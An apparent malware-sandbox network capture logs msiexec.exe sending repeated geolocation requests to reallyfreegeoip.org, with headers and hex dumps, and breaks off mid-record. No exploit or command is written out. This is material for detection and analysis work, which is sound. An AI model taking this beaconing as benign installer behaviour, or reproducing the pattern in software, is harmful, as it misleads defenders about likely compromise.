2024-12-16 17:28:49 UTC	1390	IN	Data Raw: d1 4f 3a 1d 6a 16 9f 84 f8 f7 ce 57 fd 0e 5f 89 89 4b f6 ea fb dd a8 d0 05 dc 3b 1e 4c c2 7b 05 20 3e 89 7f 8c 7d 67 a1 67 30 6f b7 57 be 7a b9 80 cb 14 bf 64 c3 0c 48 dd 0c f6 8a dc 21 5d ef d6 e3 1a 83 da c2 5b 14 5a f6 63 92 a1 62 28 5f ed 34 ff e3 99 86 73 2a b0 bb 8c 8c bf cf c5 7e 87 9c 21 87 71 9d c5 24 19 b5 91 01 0c 53 c5 3a 8e f4 c6 47 0b 06 e3 4c b8 1a 28 db ea ec 3f 72 45 0b d4 f0 6f 54 ec 79 8d 6a 52 c6 9f d4 be 1b ba df 09 8c 7c 9a 29 fc ff 1d 18 a8 56 b5 4d a8 6f 3d fd 97 50 ee 18 1b bf 50 5b 7c 0a 00 b8 7e cd 23 1a 80 20 12 28 9c 1c 8a f0 28 92 65 40 b0 30 8f 16 97 58 a7 cc ec db 17 29 4d 05 15 e3 f4 66 b8 0c bb 00 1d 64 94 93 d5 b4 dc f4 44 4e b6 70 6f 8f 7a 01 ac 24 b3 34 9a 3e 5e 97 37 35 9a ae d2 41 88 1c a1 12 56 cf 6b cb 87 b8 6f 19 Data Ascii: O:jW_K;L{ >}gg0oWzdH!][Zcb(_4s*~!q$S:GL(?rEoTyjR\|)VMo=PP[\|~# ((e@0X)MfdDNpoz$4>^75AVko
2024-12-16 17:28:49 UTC	1390	IN	Data Raw: 1c 9c cd 35 0d f0 02 e3 a2 e2 1b 27 27 80 2e 0e 61 55 4c 95 c9 3b fd 52 14 97 7c 7b 35 d4 15 2d ee 83 5b ff dd 9a 07 5f a4 8d 01 d0 18 d7 0e fc cf 7e a8 57 d3 9e d4 66 ce f5 8b f8 1e 12 72 b1 0e 27 22 64 35 16 83 8a 93 4a e2 99 52 42 d4 1b 65 b7 ff 76 2d e7 68 15 c6 e6 86 34 de b0 0b 21 c0 29 df 0e dd 07 89 9c bc a8 77 a2 a3 b8 6f 2f dc 73 d0 1b 08 df 11 43 43 b4 58 f3 f7 47 ba 06 80 b9 22 ba 9b a7 0b 12 9f c6 f6 52 0d d1 80 1a e1 14 e5 03 32 cb 6b 06 3f cd 21 09 ad 79 73 42 cb d6 fd 29 91 12 83 eb 37 35 b8 3f b6 a9 ae a9 39 1e aa f9 86 ae 74 f0 3e 9e b1 03 18 54 c2 76 06 f9 d2 18 61 92 d0 b0 8d c8 f7 65 0c 47 8e 20 50 4d d8 7c 87 67 d0 e0 e9 60 8e ec 58 b9 30 31 c1 d8 56 0d 55 36 fa c6 92 b8 7c bb aa 23 72 54 de 4a c9 82 78 6e fd 0e 5e 7a c9 d3 6a c2 44 Data Ascii: 5''.aUL;R\|{5-[_~Wfr'"d5JRBev-h4!)wo/sCCXG"R2k?!ysB)75?9t>TvaeG PM\|g`X01VU6\|#rTJxn^zjD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	104.21.67.152	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:28:54 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 17:28:54 UTC	878	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:28:54 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 358903 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YpwgdYAO8IaOjhIGeIeO44gMU1h0p1G8hcPsyTjHYLRKaE3%2FfO9LPp0N83dH57jBPnqN%2BqQ3cnU3OUpvA9BiIRg0nznkbfixA%2FWB1v2tKpb8ssOv00HD9QAszrdoEGw%2F6ebQrdWe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f30647daf9b199d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1827&min_rtt=1818&rtt_var=688&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1606160&cwnd=223&unsent_bytes=0&cid=d33c80c8f18048f4&ts=469&x=0"
2024-12-16 17:28:54 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	104.21.67.152	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:28:56 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-16 17:28:56 UTC	886	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:28:56 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 358905 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vedteoUKHuSwjG3%2F2ZPg09pvFKHW%2B2S%2BIU0TmkWHNtR5%2B%2B77YrYIxZpgjOb%2BoATkhRob2G9LDx6KM8aXtDKrN7X2BtcM7pucpXJ8IVCnPQQBZ1PBhUGgFUu%2F%2F2pghYKueKm5WvT4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f30648acbc5728a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1846&min_rtt=1840&rtt_var=694&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1586956&cwnd=227&unsent_bytes=0&cid=78d043de7cf9934a&ts=510&x=0"
2024-12-16 17:28:56 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	104.21.67.152	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:28:59 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 17:29:00 UTC	880	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:28:59 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 358908 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=12grzhg%2BPAuA96hOnCByMNLOpBG%2F2%2FAdFlKUi02xrvp1IZx62guETNkkHlEj%2BjqNYeUlvMXMhZu2Xo1kFqmaOLAyhDYJFDJnge4%2FXOLNx4ZmUcf5N3J8PwEqrQXfI5KVMWSn0BYq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f30649e3a821879-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1681&rtt_var=650&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1658148&cwnd=162&unsent_bytes=0&cid=a09f3ae604f6d0d2&ts=459&x=0"
2024-12-16 17:29:00 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49756	104.21.67.152	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:29:03 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 17:29:03 UTC	878	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:03 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 358912 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N0BZb7nhZDFqbpFOxHcP7cknsixB8HV%2BL%2BNpPIlm2aJNOVtmnF9WvJXzP0kKbRzJ664dAhIK9hSzIhEKrdxLtU2WKmO1iF2Cu6gM0zXekeM1UgOgc8%2FCMWxckAUeiBR%2BaJm5Bhkd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3064b598b91895-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1548&min_rtt=1506&rtt_var=594&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1938911&cwnd=185&unsent_bytes=0&cid=f60fa39cb6530410&ts=492&x=0"
2024-12-16 17:29:03 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49765	104.21.67.152	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:29:06 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 17:29:07 UTC	873	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:06 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 358915 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QMflAgBK5WLbNKB4s6m7NtaQhGmxOKGzj8XOrmESD605vFNingEbTkSNsDaHCxgCcRmPSTKRha9SXOOu%2BOUjPqNeL7K9m9Hw8d9QKp9faeYsSgvlkhpjKIz%2FL8fkiJVcLoiFi4xD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3064ca4d3a4285-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2079&min_rtt=2074&rtt_var=789&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1377358&cwnd=32&unsent_bytes=0&cid=e432ecc6fc76dc0a&ts=461&x=0"
2024-12-16 17:29:07 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49774	104.21.67.152	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:29:09 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 17:29:10 UTC	884	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:09 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 358918 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pHutBL6vVWmtm7%2BKy06oFXu5CzM7XGYa6vio2slT9zx96OafJoqJC3RyleTTcAWRVlF4qCUGkN7iaPtT%2BjKahfwiTk90ofOMgYcryEVKWT8jt2a%2Fy0sp%2B%2BiQPrK4%2FaIjPv%2FjAjlR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3064dd4f995e76-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1599&min_rtt=1593&rtt_var=610&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1773997&cwnd=209&unsent_bytes=0&cid=faad9e1842dd164c&ts=463&x=0"
2024-12-16 17:29:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49781	104.21.67.152	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:29:12 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-16 17:29:13 UTC	876	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:13 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 358922 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YqTNPtvq7CN2ci2xpoP6Pky8IaC9M4VFf8ghtjrMu7ThHrTO9Q44QM%2F698VS1rhwF4W%2FrD%2FTSiw7NzHZompby85rGEFqld7ZPSnsSZoctUeYW0PiQA4jAaZ8RY3efJ8aTLkUACF2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3064f02ea34282-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1616&rtt_var=635&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1684939&cwnd=252&unsent_bytes=0&cid=65632a1305f2602a&ts=474&x=0"
2024-12-16 17:29:13 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49792	104.21.67.152	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:29:15 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 17:29:16 UTC	874	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:16 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 358925 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oGh0fSy95ob3gr4TQ%2F8GT24loQF583FwIrlhr3L3tGI9iua3m3uzOz7f0JMnXbVQxArdCPUOGvTNuGabo0ADstJFrx8SKVTCWkSPLKFRfuCNC2zjwOMXvx%2B58xP0jZyrvM0sGER6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3065047de0c3fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1696&min_rtt=1552&rtt_var=870&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1079881&cwnd=186&unsent_bytes=0&cid=ab05547a35041ed5&ts=708&x=0"
2024-12-16 17:29:16 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49800	104.21.67.152	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:29:18 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 17:29:19 UTC	872	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:19 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 358928 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gA6o6p1FmlU8ANwu3fCCa41d1A0Ab87TzLYKDvHuXWPkLMbIlFzKJqrwNeEhIhuYERFZOEKRjD89wOCrBNzJT3W70DliR7q5oYLnf591X8hhz6Cl1uZxXkzgl%2BlEVZUUiZRDmMtv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3065176b130f64-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1498&min_rtt=1493&rtt_var=571&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1899804&cwnd=233&unsent_bytes=0&cid=3cc0a6c69936cb0c&ts=481&x=0"
2024-12-16 17:29:19 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 